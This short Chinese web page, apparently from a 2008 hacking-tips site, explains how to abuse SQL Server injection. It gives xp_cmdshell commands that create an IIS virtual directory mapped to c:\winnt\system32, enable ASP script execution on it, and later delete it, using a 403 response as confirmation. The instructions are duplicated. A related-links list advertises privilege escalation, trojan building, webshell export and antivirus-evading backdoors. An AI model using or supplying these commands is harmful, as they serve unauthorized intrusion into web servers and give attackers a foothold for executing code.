sql server注入建立虛擬目錄的方法
更新時間：2008年01月20日 15:59:13 作者：
sql server注入建立虛擬目錄的方法
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對路徑的一種解決辦法，
http://xxx.com/win
403錯誤，表示虛擬目錄建好了。。。
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對路徑的一種解決辦法，
http://xxx.com/win
403錯誤，表示虛擬目錄建好了。。。
相關(guān)文章
提權(quán)總結(jié)整理貼...2007-10-10
最近在弄靶場，原本是打算找一些漏洞程序來做實驗環(huán)境，但是去找這些程序感覺太麻煩了，幾段代碼能實現(xiàn)的東西還是自己寫吧2012-07-07
CHM電子書木馬制作攻略教程...2007-06-06
開放IPC$共享...2007-01-01
MySQL注入中導(dǎo)出字段內(nèi)容的研究通過注入導(dǎo)出WebShell
大家都知道，在MySQL中，無法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來插入數(shù)據(jù)，因為MySQL里最多就是用union聯(lián)合查詢。2008-05-05
測試環(huán)境：windows xp pro sp2 + mssql 2005（服務(wù)以system權(quán)限啟動）2008-12-12
近日在寫exploit的時候需要用到一些其他語言的call ebx的跳轉(zhuǎn)地址，但是metasploit的opcode DB沒有包括繁體中文、日文、韓文機器的跳轉(zhuǎn)地址，所以費了點時間收集了下，在這里要感謝傲少提供的機器給我去找地址?，F(xiàn)在貼到這里，方便大家。2008-09-09
幾款雙功能免殺超強版asp小馬，對于需要查找后門的朋友可以參考下。2010-09-09
愛好腳本的朋友有福了，腳本入侵班資料下載2008-06-06
完全解剖安全帳號管理器（SAM）結(jié)構(gòu)...2007-11-11